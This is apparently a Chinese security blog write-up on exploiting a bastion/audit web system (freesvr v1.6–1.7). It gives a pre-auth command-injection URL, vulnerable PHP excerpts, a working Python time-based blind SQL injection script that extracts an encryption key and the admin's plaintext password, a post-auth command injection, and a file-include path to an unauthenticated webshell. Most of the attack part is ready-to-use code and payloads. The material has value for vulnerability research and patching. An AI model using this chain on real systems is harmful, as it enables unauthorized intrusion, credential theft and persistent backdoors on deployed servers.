早在之前v1.6时,有一个简单的pre-auth RCE

1
https://target/get_luser_by_sshport.php?clientip=1;command;&clientport=1

之后升级到了v1.7,也就是这次hvv爆出sqli的版本,其实在v1.6时就已经因为这个写法出了一堆sql注入,但不是很明白为什么没改,在hvv中爆出来的只有延时检测的poc,下面来看看怎么把这个没回显的注入转化到rce写入webshell

首先这个版本由于架构的调整,认证前可以访问的功能已经很少了,在 admin.php 193行开始,可以看到这次爆出来的注入

1
2
3
4
else if($_GET['controller']=='admin_commonuser'){ 
	$username=$_POST['username']; 
	$password=$_POST['password']; 
	$minfo = $member->select_all("username='".$username."'");

username直接从post传入并且带入字符串,跟入 select_all,函数定义在 model/base_set.class.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
public function select_all($where = '1=1', $orderby1 = '', $orderby2 = 'DESC') { 
	if($orderby1 == '') { 
		$orderby1 = $this->id_name; 
	} 
	return $result = $this->base_select("SELECT * FROM `$this->table_name` WHERE $where ORDER BY $orderby1 $orderby2"); 
}

function base_select($query) {
	$result = $this->query($query);
	if (!$result) {
		return NULL;
	}
	else if(mysql_num_rows($result) == 0) {
		return NULL;
	}
	else {
		while($row = mysql_fetch_assoc($result)) {
			$data[] = $row;
		}
		return $data;
	}
}

public function query($query) {
	global $_CONFIG;
	if($_CONFIG['DB_DEBUG']){
		echo $query . "<br>";
	}
	//echo $query;
	$result = mysql_query($query);
	if($result === false) {
		// echo "SQL:" . $query . "<br>";
		if($_CONFIG['DB_DEBUG']){
			echo "Error:" . mysql_error() . "<br>";
		}else{
			echo "Error: database error<br>";
		}
	}
	return $result;
}

可以看到直接带入了 mysql_query 造成注入,这里在 base_query 中加了一个打印错误信息的方便看到结果,实际操作该注入不回显

在有注入之后,开始考虑怎么获取库里的数据,由于这个系统目前登录只是查了用户名然后再做密码比较,之后全用session,首先考虑的是怎么获取到管理员口令来完成用户登录,然而库里存的密码是不可见字符

跟踪一下密码经过了什么处理

1
2
3
4
5
6
7
8
9
public function udf_decrypt($password, $udf=0){//return $password;
    global $_CONFIG;
    $password=addcslashes($password,'\\\'');
    if(!$udf && $_CONFIG['PASSWORD_ENCRYPT_TYPE'])
        $p = $this->base_select("SELECT AES_DECRYPT('".($password)."','".$_CONFIG['PASSWORD_KEY']."') as pass");
    else
        $p = $this->base_select("SELECT udf_decrypt('".($password)."') as pass");
    return $p[0]['pass'];
}

这里的 $_CONFIG['PASSWORD_ENCRYPT_TYPE'] 来源于库中的 PASSWORD_ENCRYPT_TYPE,默认开启

那么需要找一下 $_CONFIG['PASSWORD_KEY'] 是什么

1
2
$PasswordKey = $settingobj->base_select("SELECT udf_decrypt(svalue) AS pass FROM setting WHERE  sname='PasswordKey'");
$_CONFIG['PASSWORD_KEY'] = $PasswordKey[0]['pass'];

那么就比较清晰了,使用延时先从表中取到 PasswordKey,再使用这个key通过延时去获取admin的明文密码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
payloads = '_-@.,' + string.digits + string.ascii_letters

def doSqli(subsql):    
    result = ''
    checkUrl = target + '/admin.php?controller=admin_index&action=chklogin&frommc=1&username=admin\' and if(ascii(substr((' + subsql + '),%d,1))=%d,sleep(5),1)%%23--'
    for i in range(30):
        for payload in payloads:
            try:
                req.get(checkUrl % (i+1, ord(payload)), timeout=3, verify=False)
            except requests.exceptions.ReadTimeout as ex:
                result += payload
            except Exception as e:
                pass
    return result

def doGetPass():
    subsql = "SELECT udf_decrypt(svalue) AS pass FROM setting WHERE  sname='PasswordKey'"
    print('[+] get passwordKey')
    PasswordKey = doSqli(subsql)
    print('[!] PasswordKey: ' + PasswordKey)
    subsql = "select aes_decrypt(password,'%s') from member where username='admin'" % PasswordKey
    print('[+] get admin pass')
    password = doSqli(subsql)
    print('[!] admin password: ' + password)
    return password

在获取到admin密码后,我们有了访问认证后功能的能力,那么找一下认证后的漏洞,其实这个就很简单了,随便找一下就有很多命令注入,比如 c_admin_vpnlog.class.php 中的 cut 函数

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
function cut(){
    global $_CONFIG;
    $username= get_request('username', 0, 1);
    $cmd = $_CONFIG['CONFIGFILE']['VPNCUT']." ".$username;
    $a = exec($cmd, $o, $r);
    if($r==0){
        $this->member_set->query("UPDATE member set vpn=0 where username='".$username."'");
        alert_and_back('操作成功');
        return ;
    }
    alert_and_back('操作失败');
}

这里有个小问题,那就是 get_request 中其实做了一次传参的的转义,所以类似重定向之类的符号不能直接用,但这个很好绕过

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
function daddslashes($string, $force = 0) {
    if(!MAGIC_QUOTES_GPC || $force) {
        if(is_array($string)) {
            foreach($string as $key => $val) {
                $string[$key] = daddslashes($val, $force);
            }
        } else {
            $string = htmlspecialchars(addslashes($string));
        }
    }
    return ($string);
}

到这里已经有一个命令执行了,但我希望实现webshell,这里的条件不是那么完美,因为当前的nginx配置为

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
 location ~ admin.php$ {
    root /opt/freesvr/web/htdocs/freesvr/audit/public/;
    fastcgi_pass 127.0.0.1:9000;
    fastcgi_index admin.php;
    fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
    include fastcgi_params;
    fastcgi_param  VERIFIED $ssl_client_verify;
    fastcgi_param  DN $ssl_client_s_dn;
    fastcgi_connect_timeout 300;
    fastcgi_read_timeout 600;
    fastcgi_send_timeout 600;
}

这也导致不管怎么写文件其实都是没办法访问的,因为除了 admin.php 之外其实都不给解析到php,随后在继续阅读 admin.php 代码时发现

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
if(isset($_GET['controller'])) {
	$controller = 'c_' . $_GET['controller'];
}
else {
	$controller = 'c_admin_index';
}

if(!empty($_GET['action'])) {
	$action = $_GET['action'];
}
else {
	$action = 'index';
}
$language = array('en','cn');
// ...
require_once(ROOT . './include/language_cn.php');
if(in_array(LANGUAGE,$language)){
	require_once(ROOT . './include/language_'.LANGUAGE.'.php');
}
if($_SESSION['ADMIN_UID']){ /* ... */ }
if(file_exists(ROOT ."./controller/$controller.class.php")) {
	require_once(ROOT ."./controller/$controller.class.php");	
    if((!isset($_SESSION["ADMIN_LOGINED"]) || $_SESSION["ADMIN_LOGINED"] == false) && ($action != 'login_user_field' && $action != 'login' && $action !='chklogin' && $action != 'getpwd'&& $action != 'docronreports'&& $action != 'synchronization_ad_users'&& $action != 'synchronization_ldap_users'&&$action!='get_user_login_fristauth'&& $action != 'get_sms'&& $action != 'get_email'&&$action!='get_weixin'&&$action!='qrcodeimage'&&$action!='watertext')) { 
        /* 跳回登录 */
    }
    else {
        /* 权限控制 */
    }

在对是否登录的检查(这里并不会跳回登录页)之后,就开始取 controlleraction,将对应的controller文件包含进来后再开始判断是否需要跳回登录与权限校验,那么如果写入一个 ./controller/c_shell.class.php,再走 admin.php 来包含不就可以完成webshell吗,并且还可以无需认证即可访问

到此,就可以实现从未授权sqli->webshell